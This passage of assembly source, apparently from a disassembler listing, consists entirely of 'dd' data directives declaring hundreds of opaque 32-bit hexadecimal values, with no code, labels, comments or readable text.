dd 0F8A47509h, 0B5EBF048h, 0F9A51200h, 0FAEA6C15h, 99972742h
dd 40339CA4h, 2392D146h, 6FDB024Dh, 4BF48FA6h, 417609F5h
dd 28AEED4Ch, 0C8AE45B4h, 3CE31B1Ch, 1A5B8B74h, 7D9E408Ch
dd 980B0174h, 27191FDh, 0E7A444FEh, 50186D64h, 8074D3F2h
dd 91659B3Ah, 2A2F31B4h, 85982472h, 0BB04F826h, 398CC1C9h
dd 11C6B4E5h, 3C3124h, 6BD48128h, 2C208BCh, 16CE612h, 599305DDh
dd 79BA3EBFh, 0D03D0114h, 78280D67h, 3E9A58C8h, 71EBF90Ah
dd 7B97D810h, 33427099h, 8F9FE034h, 0A0D0079h, 0C5E14202h
dd 20D4EB8Bh, 962EC070h, 0FC1D3F77h, 0D8CD0388h, 0F8F9F49Eh
dd 1158202Fh, 0C89103DCh, 0AA0C5054h, 9AE3C40h, 0A2E2DE3Fh
dd 0C0DCEC68h, 99E11709h, 4CCCECF0h, 3C83CD0h, 7F7BA053h
dd 35BB5A8Ch, 6F30C878h, 0B903AF03h, 0D88F9DF1h, 7253A62Eh
dd 4DDF1EF7h, 0E0582C5Eh, 65A47CE6h, 0DBEF7800h, 0A7BEF3EBh
dd 0C958187h, 7E08F5D1h, 27268844h, 0AC90ED4Bh, 1A09FC91h
dd 62DC7B51h, 0E968B074h, 0BD530026h, 0A3CE0335h, 0C709BBC2h
dd 449855DFh, 44295FC0h, 57C2918Ch, 19F08841h, 40EA386Bh
dd 12C058F2h, 2272DE77h, 0F212EB30h, 581C9C44h, 0C201428Ch
dd 363205C7h, 71883A6Ah, 18C9C196h, 0A62B88h, 6CE7482Dh
dd 0DD52C5ABh, 0A14E420Ch, 2B81B87Ch, 78E4D0h, 885DABD9h
dd 62007CC4h, 2315C182h, 0A0BC4159h, 48AF71ACh, 0A0045C17h
dd 0F338B525h, 0B9EB2708h, 59850554h, 0FC11F6h, 0DEE7B1E7h
dd 7200D2A2h, 206C7AC4h, 27C212CAh, 58B09A6Bh, 5800A378h
dd 4C75D3A1h, 20C723Ch, 1CFB55CBh, 20661139h, 58AF022Ch
dd 4CE0A026h, 5FF6597Dh, 823C1757h, 0D0B12530h, 0A5C6C8EBh
dd 0CC3C0954h, 0C540406h, 0AE771Fh, 6553E68Eh, 0AF085655h
dd 0C778705Dh, 1D909CC8h, 4477A99h, 3D5A2C1Fh, 0E2C4D0A2h
dd 0F09D059h, 4984EDF1h, 11FE0384h, 0EEE51081h, 0A95D0058h
dd 8ABD96AEh, 78F3D210h, 177CC340h, 0F5A9F83Ch, 2201008Eh
dd 0B83FFC07h, 532B0A16h, 8038BC88h, 0BB641EE6h, 3FFA36A8h
dd 4100E4E8h, 0D3ACFD79h, 2C094266h, 6CF702DBh, 404494CCh
dd 883C4B6Ah, 470C2412h, 0AA9F0420h, 18C000C6h, 9DD25283h
dd 20AA70BAh, 8CB0CC09h, 5EE2BC0Eh, 3B4D705h, 5480EE47h
dd 62E93FEh, 0D641DC8Ah, 38B6786Ch, 0EC991880h, 1F532C07h
dd 35A7350h, 59A7E567h, 0DCA40DE1h, 5896929Bh, 0E3791340h
dd 0E4FEE6h, 0FBE19F58h, 5E89222Dh, 28718B02h, 0AE9D34F3h
dd 9820B3CCh, 64B6CAh, 70C20350h, 3210BC15h, 0DFACA504h
dd 73005D59h
dd 55345279h, 0B8451200h, 0E707564Fh, 6074B6D7h, 27A1225Bh
dd 0F017900h, 0AFF698CBh, 516802FFh, 164E69DBh, 21005CEEh
dd 0AC473C34h, 2247E59h, 4532FCD1h, 951D8h, 6BD222C4h
dd 4430984Eh, 1B090C81h, 5B0B1352h, 79190014h, 0EDC8C6F4h
dd 39BC4B00h, 13FE86F8h, 0F5290147h, 94276C9Ah, 0F03C0085h
dd 3B6900E8h, 717315AFh, 0D001B152h, 240942DFh, 0DACAF102h
dd 0B4885478h, 6705079Ch, 6429204Fh, 29F88D5Fh, 0AF33006Ch
dd 9C2177A5h, 144B09D6h, 4C714D31h, 20B1611h, 3C0439D9h
dd 4D5026CFh, 0DE800Dh, 8808DFA3h, 0D2207FABh, 72060041h
dd 1B2632EDh, 0C012ADB4h, 34B30AF8h, 4E925811h, 63EE0020h
dd 133B029h, 421C6AF7h, 74583959h, 0F384FE50h, 0BC63839h
dd 7E2159EAh, 4A1114h, 4B1AC52h, 48E4E3h, 3B27588Dh, 2C8B26Eh
dd 0FA023899h, 0E4836BBDh, 248A5808h, 73C304Fh, 8E00FBAFh
dd 383F2FC3h, 0B1ECCCh, 0A6FE4678h, 1205C95Fh, 6C60E894h
dd 4C7287D5h, 4500F64Ah, 124D13D2h, 0E824847Dh, 7A11105Eh
dd 7F21F600h, 2C70F7E4h, 8900DEE0h, 992BBBA3h, 0A686F584h
dd 38E08A0h, 123E5101h, 808A2D7h, 403E4419h, 0CE686FAAh
dd 0A328000Bh, 12A67EDh, 8F159B50h, 21A42945h, 0B46D0BD3h
dd 3D265C10h, 2C90FCA6h, 99EAB901h, 12083CD2h, 94C02078h
dd 61A12D6Eh, 3459D00h, 5FF648DDh, 0EC76087Eh, 4B05255Eh
dd 48C8DAD8h, 446C99EDh, 4D94404Ch, 22E326h, 0C3D788E6h
dd 554751FBh, 21B97D0Bh, 9C6C44AAh, 0D4896E24h, 3463844h
dd 95FB9C44h, 83E3B4A1h, 3F09F4BFh, 0F603417Fh, 0A4C1644Fh
dd 0CEDFDA87h, 0B07F0300h, 55F514FFh, 0FE041FF8h, 96582559h
dd 270C04D2h, 0F195E001h, 7CBC8587h, 71703C80h, 4D0B20Dh
dd 7308A2F0h, 143888B9h, 88FEC202h, 0E425F8ADh, 6B80255Ch
dd 211C8C5h, 9F3B7F00h, 0D7306BAh, 0F1030F1h, 8DAAE504h
dd 0C8246B40h, 0CF7F82BCh, 4A3348h, 90FDD0Eh, 5FD6B1FFh
dd 297024E6h, 1CE032CCh, 50805145h, 0C7AF32E0h, 8884605Dh
dd 0D2598E58h, 2141AD02h, 54F4DC24h, 58646988h, 0C421535Ah
dd 58398B3Bh, 7CE80225h, 5460A571h, 0F62A8381h, 0D2E50439h
dd 0A16015FDh, 845C6918h, 3C4157DAh, 0D19B7E22h, 1247350h
dd 0D02807AFh, 702CE9EAh, 0C05AA3C9h, 97C55406h, 44A08EA4h
dd 58488A6Ch, 0B890D21Ch, 1450E6CDh, 0C9A9DED7h, 0A8D9F502h
dd 9CD1124Ch, 7671CD80h, 8B776Eh, 0CBA8F34h, 518D42EBh
dd 8130A55Ch, 17EC4126h, 9F83FFCh, 0B78D6756h, 0AA4C7102h
dd 22580D0h, 42384406h, 0A01034D8h, 4530D8h, 5794C6C0h
dd 23D2B275h, 5E385D03h, 98E84D9Fh, 5D0741FAh, 1224476h
dd 960035F0h, 83629BFCh, 2785371h, 5B04A51Eh, 98987005h
dd 0F205DC26h, 7379AF75h, 0CE00DCA6h, 0CF8C96E7h, 58419880h
dd 6A0A3040h, 209095FEh, 3602BCC3h, 7B612179h, 0A53C76CAh
dd 72022868h, 7C96D3F8h, 0B9D26D81h, 1180E935h, 0EB3672DEh
dd 0B079D898h, 6190100h, 0CBC36B5Eh, 1D69005Bh, 52D2FA0Bh
dd 0CC748DDAh, 1819DD0Eh, 50088254h, 4EB5031Bh, 41280818h
dd 0EB8111h, 0A7894239h, 0DBDF1344h, 5206147Ch, 539DF2BDh
dd 57E40028h, 0BF97C615h, 8918081Fh, 2A40760Eh, 300C603Ch
dd 8361C4DDh, 1DCF5B3Ah, 0DEC7763Fh, 73210AFAh, 1D00D7A8h
dd 0B440053Ch, 481E38E3h, 409E9F9Eh, 50C9AAA7h, 20D1F732h
dd 0D5C10014h, 84516E2Bh, 0D6611E0Dh, 57EC04B8h, 0B3FE04D3h
dd 5FB5BE00h, 583FD6A8h, 0BB4200AEh, 72E5E617h, 50C876C9h
dd 0C0F28866h, 948519B1h, 99762691h, 9DAD5800h, 7EE50A8Eh
dd 1815FE1Ah, 0B8E721B5h, 0BF005452h, 0D52D723Ch, 573551h
dd 0AEA8DEC9h, 6699BA61h, 52DA4740h, 4420C091h, 110DF970h
dd 18B266E6h, 0A84929E0h, 677BC0h, 9F082F5Fh, 9EDF7D17h
dd 1185D200h, 9A1DEE18h, 0FAAC0B0Ch, 277AF13h, 0AE086527h
dd 0E8458A8Ch, 5B00B59Fh, 44BD238Ah, 1BAEE887h, 102276FAh
dd 42B8BBA1h, 1486F90Ch, 4118084Fh, 86393FF5h, 3067F8BEh
dd 6431B999h, 0EF0CB49Dh, 3979A5E9h, 428E642h, 0F35B2AF8h
dd 813FC110h, 0FE9BD8F6h, 95ADC000h, 3EB791D5h, 4846672Eh
dd 4167A3BDh, 8002BCA3h, 0EC0E4B1Dh, 0A710808Dh, 134D139h
dd 0D553E04Dh, 881E972Ch, 0B385B9C1h, 0A3F90399h, 0E1BE5Fh
dd 0AEFAA735h, 0A146E552h, 80FE7664h, 6BF01D7Ch, 0DDE53102h
dd 0B8428C10h, 6CBE0079h, 1ED16332h, 3CF80325h, 86A241A6h
dd 83582019h, 0A4101030h, 3A0745F7h, 8DAF54F9h, 2C31184h
dd 0EF2EB0AEh, 0A324190Bh, 851EA9A7h, 0A9E551E8h, 6C98805Fh
dd 709CB9h, 0FA891FA7h, 0AFC7205Bh, 37D79500h, 3F818B3Eh
dd 80BE57B8h, 241B9520h, 0B091D42Ch, 30C4B607h, 1D596EA5h
dd 341FE8B8h, 0ACF89C7h, 3C562257h, 77460F3h, 3030FE06h
dd 24906883h, 0E40621B8h, 84A675CFh, 9BF73769h, 3B0922B1h
dd 8883104Ch, 4081C83Ah, 697DE0h, 1D84EDCCh, 6AB7392h
dd 0AF804550h, 2446E905h, 5804802Fh, 40912068h, 7180AD96h
dd 0F6D6B054h, 533FC4A6h, 3E4D0EAh, 412A9678h, 0EBEFEC26h
dd 40CE3100h, 2B9A4355h, 0AE59C178h, 838889D0h, 0FB4BF5D8h
dd 3B92825h, 0D16707FCh, 7412DB43h, 1D049079h, 9CA973A5h
dd 0E0C530AAh, 917B7500h, 0B5A18C0Ch, 3BF4C8Ah, 833CFD00h
dd 4A08DC6Bh, 64250628h, 87416060h, 31F8CBD3h, 4C10E769h
dd 609841B2h, 87088053h, 174BF2E8h, 902C0378h, 0B95623C3h
dd 0F21F380h, 0AF967B18h, 0F4D972E1h, 0F7011C17h, 7150C0A4h
dd 0A2DCDEFEh, 0A4231324h, 0E18846h, 1E4F9EEEh, 5115A1Dh
dd 0B44598A4h, 523DE0h, 5CD8859Dh, 2B657221h, 326DE78h
dd 0E30A9E24h, 960C2889h, 0B539AEh, 7AF66AB2h, 0AD03D37h
dd 0D22CBA01h, 7DEE7959h, 46670823h, 0E0C3A0C9h, 0D01FA3C0h
dd 10281E57h, 0AEB0A761h, 985074C2h, 49053E67h, 0C50A0C45h
dd 100C1E42h, 50DB8404h, 3AF354D1h, 1428B212h, 0C0762441h
dd 0EC0AB454h, 1064D0DDh, 0FD0FF840h, 17032694h, 0C5A4B783h
dd 0C6310524h, 1EE4105Eh, 483D8A9Ch, 6AAE002Ch, 0E395027Eh
dd 801C1F48h, 0A0BADC0Ch, 19C0E896h, 0C15FD69Bh, 3039BC4Ch
dd 8A4E7941h, 5260082h, 401065C0h, 6F19039Fh, 23D8AE3Dh
dd 34406D12h, 3A33432Ch, 30BC68E0h, 24218B18h, 4CA01705h
dd 0A029C08h, 0F45170FCh, 0E0D84B98h, 0E66EC0B7h, 0E3720329h
dd 76DF7595h, 318B853h, 716A9753h, 4D7E41Ch, 495FC25h
dd 0B4B0B470h, 0A7E903D2h, 7B293EC1h, 0FF418109h, 20CB23Ah
dd 0C6B3767Ch, 12FB4238h, 884C8D68h, 0E193936h, 2AE013F4h
dd 96EBA42h, 8658DC64h, 957CC858h, 760FE867h, 7213B3BAh
dd 1CE090E4h, 0C400B933h, 2D7CE8F6h, 0E75BB6F9h, 0BADD998Ah
dd 0F7750299h, 0C86496B0h, 817344h, 884D72F9h, 6CF2FA66h
dd 0F3AE8F04h, 60882407h, 714C608Ch, 348945E0h, 0F05BE50Ah
dd 0B2919CDBh, 1E6A8A00h, 0AD651833h, 5829E400h, 21AFE302h
dd 0A6B05C55h, 88D91A15h, 0AD6723C0h, 45985C9Bh, 0E1079526h
dd 6C644C1Eh, 54FD1B40h, 464914A1h, 0D200E47Fh, 12046F67h
dd 1E49BF94h, 0EFBC417Ch, 5760D918h, 1CCB6441h, 4084F0CFh
dd 0F62F94FEh, 4001786h, 0ED4C1F3Dh, 98FB9135h, 80C32ADCh
dd 8D0803BCh
dd 4E25AA97h, 800F43AAh, 0C2E02E1h, 7BA63BAFh, 0BC687180h
dd 0B9122439h, 7FA38718h, 78A0541h, 1815453Ah, 0B6351049h
dd 0A91C5804h, 2898541h, 99701A40h, 20E20930h, 0B1FE04BAh
dd 3C3030D3h, 287190h, 3BE10BB5h, 3F461FAFh, 0D6FCC80Ah
dd 24049050h, 988CD838h, 0A8090186h, 688D56EFh, 25188388h
dd 0F81DD15Fh, 7AC1B8Ch, 2ED9369Fh, 0D2B9C3DDh, 6024F014h
dd 77A386FCh, 1A140F81h, 0E1A9BFF8h, 1EEFE502h, 1BB7F9E0h
dd 1DB03503h, 0B0BFE803h, 0B8B52A69h, 8181E0ACh, 5C328Ch
dd 5949F5EBh, 79AEFFFh, 2D391E01h, 318A0147h, 43C45BEh
dd 90E09880h, 164A2B04h, 3EE32E00h, 0A37DF9B1h, 0DB600040h
dd 8CA2ACDFh, 2006E6DDh, 3DF64BF3h, 89B40h, 50980466h
dd 300018B7h, 7548BB28h, 1EDF1h, 72FBE636h, 7C19A23Dh
dd 0F80C5100h, 556BE2B5h, 2576EEh, 44F2E7BFh, 8F7679BCh
dd 4C3C50B9h, 3038417Ch, 0C50065B9h, 556FC419h, 7FE393Eh
dd 7CFAA33h, 7D2F83E5h, 67A7E112h, 0EF14200Eh, 6A925D8Dh
dd 8C866C00h, 54A5F7D9h, 0E578482h, 0B1CDD6ADh, 2B912DCh
dd 6114BEAAh, 0A40154E4h, 0DE065D48h, 0B6D895F8h, 0A26C3239h
dd 8C52A358h, 0B8503100h, 344B936Bh, 75F51C9Fh, 25E18133h
dd 64872CBCh, 0C4960DCh, 805C3EA0h, 6D1DDBB9h, 6001E2A4h
dd 0CB2C0E1h, 0B4048346h, 3BFD436Eh, 0B92F688Ch, 0AE63857Ch
dd 76640BC4h, 5863B89Ah, 0C0AF63E0h, 76F85D52h, 621CCEFh
dd 8DAA600h, 6962257Ah, 102D48B4h, 0A80750C9h, 8242E4DDh
dd 69207D90h, 17383EFh, 0F832B41Eh, 70C23CCAh, 961490BCh
dd 3540A41h, 0E383D3B2h, 0A3ACF9C0h, 0DAABD8h, 0A7E5B402h
dd 4BF4B614h, 84A2FD2Ah, 114AACA1h, 718078A3h, 0F79251E7h
dd 0BF00E217h, 0EDA8E975h, 699EF498h, 0FC9012AFh, 16302A6Fh
dd 0C1871161h, 9DA20013h, 7B28E596h, 4649E68Fh, 0C02429B4h
dd 0A400CC96h, 7AD02C5Fh, 0C5CA01DDh, 0BD196839h, 48AC2540h
dd 1201D9ECh, 16A79285h, 2DDC3194h, 268C246Ah, 14B31184h
dd 952FD9h, 86410367h, 9A18FAh, 0FEF79D8Eh, 0CF068CEDh
dd 209134F0h, 0B33878A0h, 83248082h, 1A863AC0h, 66330067h
dd 0A91CC856h, 5309A5FFh, 13B89E6h, 0A8BC761Bh, 4B8C798Ah
dd 823F80A0h, 13613DB2h, 933B0C00h, 1E25C31Dh, 0E4160006h
dd 0BE9F022Dh, 88FE8352h, 685FBD2Eh, 0E4BC6941h, 0D5D0E8h
dd 40A934B5h, 0AA986AC3h, 59EE69C0h, 0CF82A6h, 4F25ECCBh
dd 46FEA3CAh, 0BBF087E0h, 0FD287967h, 4114C97h, 0E88A8C3Ch
dd 0E0F07744h, 8682FE27h, 6E7BF003h, 98E52035h, 0EAC5F390h
dd 484958BEh, 9D4D32Ch, 5D0326E4h, 0E958418Ch, 5D007FEFh
dd 4DAF14F1h, 198DFC83h, 0E8437129h, 75D06026h, 0FC99F5EEh
dd 0BF091E1Fh, 222A8904h, 207D2CE8h, 0BE790A58h, 0C8FB4112h
dd 438F1040h, 1F25773Eh, 0A4B8C0AEh, 586640A4h, 0EF7DE5A4h
dd 49006CB1h, 27E6F0F1h, 572C064Ch, 40422069h, 22B201F3h
dd 74E46002h, 68CF2D00h, 2432FD77h, 636F0734h, 249D432Eh
dd 0E0F0C286h, 0CAA2BCA0h, 1D3CB556h, 0E6D2078Ch, 34E0C125h
dd 0D45F94h, 0B285B1BFh, 3E773B47h, 422461C3h, 54E14850h
dd 336134C1h, 0EE6FDCB0h, 95252601h, 7E605B24h, 3449A6h
dd 0D5C650FDh, 0CC293EDEh, 0A02894ADh, 0BF0944h, 470EDB73h
dd 1E2DC828h, 86518C0Fh, 0AC33B6B4h, 0D5A400B5h, 4DC48967h
dd 984C0269h, 383E12D0h, 7F58E4D0h, 648D5878h, 0B577B80h
dd 0FD0106BEh, 155C5BA3h, 4060E980h, 0AD42843Ah, 0FE773300h
dd 0C97C8872h, 564BBFF2h, 51708020h, 1C4D00D0h, 4F343C77h
dd 0F2FE7DBAh, 90245C27h, 2A94050h, 267CFE90h, 44C4BB76h
dd 20AC8825h, 8CC1B13Ch, 2C2490CCh, 6050A785h, 0B2840D36h
dd 41D26F00h, 0C5BAECB5h, 5E802E0Ch, 4E0A6B0h, 88072438h
dd 68FADA64h, 76E04209h, 0FCCC4BAh, 8C39BBC5h, 2D361EF1h
dd 0D12BD7C3h, 0C82E793h, 94A40B3h, 3C8A8A5h, 304998Dh
dd 1EA20892h, 0CECA0D0h, 0DB25C24h, 712D4F00h, 2088BDCh
dd 0ADE02E5h, 2C686AA6h, 0CB8BCC1h, 0D58644h, 0E958452Dh
dd 6C6E14C2h, 0ECA552h, 0F35CDB36h, 12871C7Ch, 0A3BBE17h
dd 40886025h, 0FABB43C9h, 0A2542A07h, 0C740E4FEh, 9389FD2h
dd 0C27B68E0h, 8E04E0A0h, 953271E8h, 20B380DBh, 62A01EB8h
dd 144EC800h, 8B9728CEh, 5E750064h, 379D6851h, 7F0302B3h
dd 0B8418EB4h, 51BCF294h, 25BC2C70h, 0F7048810h, 74CADB2Ch
dd 0C2A47606h, 261D0929h, 30982068h, 0F900CECBh, 22A83FE3h
dd 9A261Bh, 9CC4E546h, 18F02BD8h, 348C369h, 0F84BE44Ch
dd 2A2FE5B5h, 18F87F19h, 51C54124h, 521301B3h, 8057C1AFh
dd 532BD430h, 9404009Bh, 0F043A4DBh, 39C0FDAFh, 9F905044h
dd 0D87509AAh, 20987DEFh, 28F403EEh, 82D6C414h, 2D130FB4h
dd 39882765h, 0F7AFA320h, 714164BDh, 0FE3D403Bh, 0E40822h
dd 38434058h, 0B375BC9Ch, 8828A958h, 0F8AC80D4h, 0CEDBE794h
dd 0BF0085F6h, 0E6B26C95h, 31171D6Bh, 76A9A3A5h, 809068A7h
dd 0B09041BFh, 801899DBh, 9973215Eh, 6500961Fh, 0B82B0331h
dd 22AEE267h, 0C1F07DBFh, 0B718E02h, 0C137E591h, 1D10B974h
dd 0E37C02DCh, 56074B18h, 0C0E19659h, 0E20AEE21h, 0A0000E9Ch
dd 378D050Dh, 1FFA5A82h, 8152FBBFh, 66037DB6h, 20E180D2h
dd 848F9D28h, 3F4C3A6Ch, 0A59FE10Bh, 0F8A29680h, 5E005706h
dd 1461F3F0h, 2E65BFE7h, 10601D1Eh, 4C899609h, 0A17460h
dd 5EF3BFE5h, 0B27DB5D2h, 6F1EFB06h, 0A629EBA4h, 0E2C100ECh
dd 300F9202h, 392511E6h, 68CC10DEh, 6E4C031Fh, 64064B71h
dd 6CDAACFAh, 0AFE69205h, 9C4327F9h, 0BB59683h, 0EECDE239h
dd 136CB080h, 0F8005DE0h, 5EA98B2Fh, 7303239h, 0BC2740FAh
dd 0C0B7A4A3h, 6F6052FCh, 0E1FB433Ch, 0F12D86D9h, 0BC2960h
dd 3E964C79h, 8DB485B3h, 7E8060B6h, 19CDFC4Eh, 0D8E81EC8h
dd 4973C72Dh, 0ABFAE065h, 0F409A7B9h, 0E860DD0Fh, 3E293308h
dd 3201A5E6h, 0E7F626DFh, 0AF62F835h, 7C40C345h, 61B51E03h
dd 695F5AE0h, 9C5C3999h, 7C017091h, 0A8850479h, 104AC00Bh
dd 0C5F4DD5Ch, 7BC02917h, 28C063ECh, 449CB46Ah, 51050880h
dd 2456CCD1h, 64CD10D2h, 37DE80D8h, 4B231A92h, 24C031FFh
dd 0C94467Ch, 6399A702h, 3A98448Dh, 7480435Ch, 0CBA56561h
dd 9D00C36Ah, 0DFE1C91Eh, 2721AA09h, 0BC912F28h, 2C583376h
dd 1E0E71AEh, 0A319092Ah, 0F4887630h, 483E54D8h, 3729C7Eh
dd 41AAA904h, 18785885h, 0BA4034B4h, 1FDE76Bh, 0DDE8202Fh
dd 82AC964Ah, 60778E49h, 0E2DE4034h, 95720092h, 0FEAF034Bh
dd 189B2273h, 0E4913080h, 734D98BCh, 0E2209E10h, 96047F41h
dd 0FE295C88h, 433800CEh, 0AA5F405Eh, 4B00564Eh, 494FC760h
dd 17DDC39h, 6E0A878Dh, 807C2B3Eh, 0F335FBB9h, 90A6D6F9h
dd 7F4444D4h, 0F01DE307h, 75470F81h, 66A3BAF0h, 1820055Ch
dd 0C05AF1AEh, 1A902EF0h, 0B850DE24h, 0B161E026h, 68F2CF0Bh
dd 884E8D00h, 26091274h, 807C3E5Ah, 38E3E2F6h, 1DF40041h
dd 39D8B6AAh, 0DD7973D9h, 9D919E02h, 0F11E0C8Ah, 2BE88390h
dd 9BD9D240h, 0EAF3405Dh, 0EBB0F2FDh, 89834500h, 8E687B74h
dd 74A54C6Eh, 0B32CB80h, 491F41D8h, 0AF0EA6h, 0FA025A0Ch
dd 0B67810h, 0BEE19F7Eh
dd 8DB7DED3h, 246E62Dh, 71FD4120h, 0B911C4h, 63CA4E95h
dd 78D4A7DDh, 4010BE41h, 60476232h, 0B0362B00h, 0F4FEB9ADh
dd 8A0B30A4h, 0BEE2DF94h, 0A89EE27h, 0C5670004h, 457AC6A0h
dd 463E2479h, 7BC00C14h, 0D90011C9h, 20D14961h, 244D14BEh
dd 0C5E4AE6Bh, 82D0F06Dh, 272EE53Eh, 248406A3h, 0FFD70061h
dd 8E333AC4h, 0C000712Ah, 6ADD68F9h, 3175CDA9h, 1DE1B7A4h
dd 0F86DAEh, 4E9CE762h, 3FAA8811h, 1C0F12E6h, 0E8412EFEh
dd 6013684Ah, 0F54B85BCh, 6C309C53h, 0B7ED35h, 0E4A83A1h
dd 3140F02Fh, 720055E0h, 3ABBCCE8h, 9094EE03h, 2EF098C8h
dd 49B44EF3h, 508A2004h, 0C13CC094h, 168C16EEh, 84CE2D8Fh
dd 0E3F8249Ch, 0CFB93C6Ch, 41674801h, 3C6D8D58h, 0F548E500h
dd 312794C0h, 0EAD2E200h, 0ADFA56E4h, 7A4A121h, 0E585B438h
dd 6878C709h, 91C6AE8Fh, 8A904F03h, 11007AA3h, 0E25C56C0h
dd 289872h, 51F9F294h, 42EE2A58h, 0C8612B4Ah, 9C7762A7h
dd 0C563417Ch, 9253103h, 2D5830C4h, 5FFFE401h, 86556143h
dd 6626D47Ch, 39CB01A8h, 2975071Dh, 1A231754h, 0E5939802h
dd 84806126h, 1B02A10h, 0AE2EEC7Ch, 55465C9Ah, 48140039h
dd 3C3898F1h, 8EEED937h, 25510400h, 0D3CC7161h, 40A84A42h
dd 0D9A56650h, 0A3022916h, 0D94618Ah, 0C19882E7h, 80BF10AAh
dd 0A3A67688h, 0EFCEA050h, 1F0BA2Ah, 52AB563Eh, 2BCF951Eh
dd 357B1421h, 4A0CDFCh, 277329FBh, 0F180AB38h, 0EE1024BFh
dd 0D9B601EEh, 479916C9h, 3ED88C54h, 4588713Ah, 0B3EC0486h
dd 1F745854h, 0D1176408h, 0FD78F830h, 114A268Dh, 5E5B0067h
dd 73E4DA5Dh, 8078E559h, 71E99A51h, 9F4C0B8Ch, 0CC90963Fh
dd 85F288E3h, 3D847E12h, 0D1EC2416h, 0B6D0405Eh, 0DFECFB78h
dd 860080FAh, 0A3B77BEh, 0F411CBF0h, 53A60105h, 6836FB46h
dd 45702114h, 265CF604h, 3E011791h, 6ACA2BA8h, 0F03329D5h
dd 186524h, 9DBADF86h, 68750ADBh, 8EB15805h, 14CD26F7h
dd 92E4F8h, 0D450CA6Ah, 6304B14Ch, 2A62F201h, 0BC12698Bh
dd 0D0C7CC2Dh, 24858047h, 2A3A6FB7h, 9099A4B4h, 0F32B2540h
dd 0C17902C2h, 0CCAE1EA1h, 67078C72h, 0FAB5A6F7h, 0AAF47A10h
dd 0DDF83E2Eh, 479C992Ch, 264950D7h, 0A200DE70h, 6F159E65h
dd 3E773F7h, 0DD2DEC0Eh, 80122F02h, 2824A476h, 9A38EC80h
dd 720C078h, 216ABCAEh, 759EED0Ah, 342414BEh, 0E5960E01h
dd 0F4225F93h, 52F02618h, 6112A05Dh, 20E2F2F6h, 81963200h
dd 0B4D5976h, 100B479h, 0F72A3C04h, 0B8F07A7h, 0A5E4776Bh
dd 0E9439849h, 89E2CCC5h, 0FD2FA703h, 8F0DDB0Ah, 0A8AC91D1h
dd 4F0FA078h, 0FB467D10h, 0C8B0A183h, 0C37B40B0h, 138F2C19h
dd 56EA09B0h, 8C02608Ch, 0C91C2AFh, 0A7A1006Eh, 97E8F83Fh
dd 0B7EC0090h, 0E3FEC400h, 77B54D87h, 0A3B13064h, 50A5CC98h
dd 0B3793505h, 0C4E027ECh, 8B2B0403h, 80BDBADEh, 132A2112h
dd 0C001FB4Bh, 0C0AE3DCCh, 0E06150E3h, 46C992Ah, 0E33FAF09h
dd 6F1007C0h, 0BA10DDECh, 0B4FD4BD0h, 2E248988h, 0AB37CE8h
dd 0A38EF116h, 0CFEEFC20h, 3EAA00E3h, 6FFAA9F7h, 5100B559h
dd 407328B9h, 23CD421h, 1EB1F3E9h, 1CC02BECh, 28B041F1h
dd 0B45FC67Dh, 6E318020h, 0C29A00E2h, 0B065FECEh, 0D84DE462h
dd 708D09F4h, 412C8189h, 3C2DAC07h, 7C3F4576h, 8E14833Ch
dd 4710C8AFh, 0F6600F9Fh, 0C4606ED0h, 4C5931B8h, 0ACE99B01h
dd 0CCAFB485h, 672EE462h, 8CC5138Bh, 5C1C7EC0h, 801BCC1h
dd 88E63336h, 7D622D4h, 0F7DAA10Fh, 8580157Ch, 9110F53Ch
dd 0A700B440h, 0F41C3D1h, 0F97FFF06h, 9875A800h, 72EB9F86h
dd 68F0059Bh, 0E2FDAE6Eh, 13BA2364h, 77650C4Fh, 370EB0E9h
dd 29917DCh, 8B41B9DFh, 422464B0h, 3E7922DDh, 5780E526h
dd 7AC7D01Eh, 3E00ACDCh, 786C70CDh, 2CC1FDA6h, 11D085E6h
dd 7A8C18ABh, 0F0248149h, 2DBEF217h, 0E018AA7Bh, 3C00FDD1h
dd 48DEF995h, 0BEE659h, 0E8FE3817h, 77C0DD26h, 24800E05h
dd 4C1E4205h, 9FB0022h, 0E0601422h, 100B5E5h, 3EFD96A0h
dd 1BCBD8Bh, 0F8E802ADh, 396571F5h, 1CC10058h, 0E0510919h
dd 0E9C74CB7h, 36CE007Ch, 0F9ED28CBh, 0FA01B80Eh, 0E46AF6E7h
dd 0B0414F0Ch, 0CD097DC5h, 0A7B91185h, 0A0AF98C8h, 991908h
dd 0C1290305h, 0EA90A89h, 63620800h, 0BEF94DECh, 0B324A18Ah
dd 0E2FCC50Dh, 40B4ACD8h, 637C0387h, 0DBA7AB81h, 0E47C8C35h
dd 2CE67280h, 4209459Fh, 84C41749h, 0D885D4D8h, 0B00474E2h
dd 0C21FF958h, 5CF2CE2Ch, 46059898h, 3D5A3EE6h, 0E5C5CC80h
dd 45BC0339h, 2E412432h, 3DE04175h, 0DB8948A0h, 0AFF19204h
dd 5895AEF7h, 460BB4A3h, 0FC82891Ch, 1DE09277h, 0AF04420Bh
dd 0A85FB296h, 0C0523493h, 0AD0E1Bh, 0C52CBDABh, 0B4EC6AA0h
dd 8066A93Dh, 0B2BA4EE5h, 76BD2A68h, 6A111367h, 718D761h
dd 0E869E17Eh, 58B8A429h, 0B0B2FD13h, 0BF90B921h, 0B2510A82h
dd 0B089B285h, 187586D4h, 3E7D2874h, 6EF86262h, 3BFD2283h
dd 0F5E810h, 9BF3300Bh, 0A3BBC167h, 0B6A67508h, 0C4B9007Dh
dd 0C0AFF051h, 38782Ch, 5EBBA385h, 12A08CC3h, 93F9AE29h
dd 20208330h, 804C275Dh, 8400804Eh, 0D9E34DCFh, 7E4526B5h
dd 0C71B0894h, 510420D6h, 8481A26Ch, 602B84D8h, 760CC428h
dd 50436B00h, 746F8F29h, 0EAE3031Eh, 1DF72B83h, 0C86107FAh
dd 73B42024h, 0D181EE00h, 0AE370A8Dh, 0E0BE3EE5h, 1C98BB26h
dd 7B9AC929h, 8401DC5Ah, 0D05DCDB7h, 202FFEAEh, 0B3A3C128h
dd 34D88664h, 0F92F0606h, 92A0E858h, 0FD2148E6h, 36642026h
dd 0F090964Bh, 0F9003FD1h, 0FF3A734Ch, 4E5A3D15h, 0B698204Bh
dd 0EC00B736h, 58C49C07h, 2C94A2Fh, 0AB9F08Ch, 0C4C15685h
dd 8B9450FEh, 7C50733Eh, 0F192F8h, 0C520358h, 6AFB4C01h
dd 0DF81B229h, 410641CCh, 0A5DA4088h, 0A492518Eh, 76112601h
dd 996CDF3Eh, 2B3F0432h, 60F95F80h, 569A1EF4h, 11C6E803h
dd 0CC4DEF2Fh, 690058A6h, 2067B62Ah, 224DAB9h, 0A308B0B2h
